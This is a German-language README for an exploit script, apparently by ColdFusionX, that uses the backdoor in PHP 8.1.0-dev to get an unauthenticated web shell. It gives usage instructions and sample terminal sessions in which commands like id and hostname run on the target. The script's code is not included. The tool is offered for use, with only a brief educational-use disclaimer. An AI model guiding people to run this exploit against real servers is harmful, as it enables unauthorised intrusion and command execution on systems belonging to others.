
PHP 8.1.0-dev WebShell Remote Code Execution
Exploit-Code für PHP 8.1.0-dev WebShell RCE (Ohne Authentifizierung)
Erwartetes Ergebnis: Ausnutzen der auf dem PHP-8.1.0-dev-Server installierten Hintertür, um dadurch eine WebShell zu erhalten und Befehle remote auszuführen.
Nur für Bildungszwecke und für Tests in Unternehmensumgebungen gedacht.
Dieser Exploit wurde mit Python 3.8.6 getestet.
cfx: ~/Documents/
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL]
PHP 8.1.0-dev WebShell RCE by ColdFusionX
optional arguments:
-h, --help show this help message and exit
-l URL, --url URL PHP 8.1.0-dev Target URL(Example: http://127.0.0.1)
Exploit Usage :
./exploit.py -l http://127.0.0.1
[^] WebShell=- id
OR
[^] WebShell=- whoami
Dieser Exploit erwartet für den Start zunächst ein einzelnes Argument :
cfx: ~/Documents/
→ ./exploit.py -l http://127.0.0.1
[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX
Target is running on PHP 8.1.0-dev
*Shoot your commands below*
[^] WebShell=- id
uid=1000(cfx) gid=1000(cfx) groups=1000(cfx)
[^] WebShell=- hostname
shockwave
[^] WebShell=- ^C
Exiting.
cfx: ~/Documents/
→ ./exploit.py -l http://127.0.0.1
[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX
Invalid URL or Target Not Vulnerable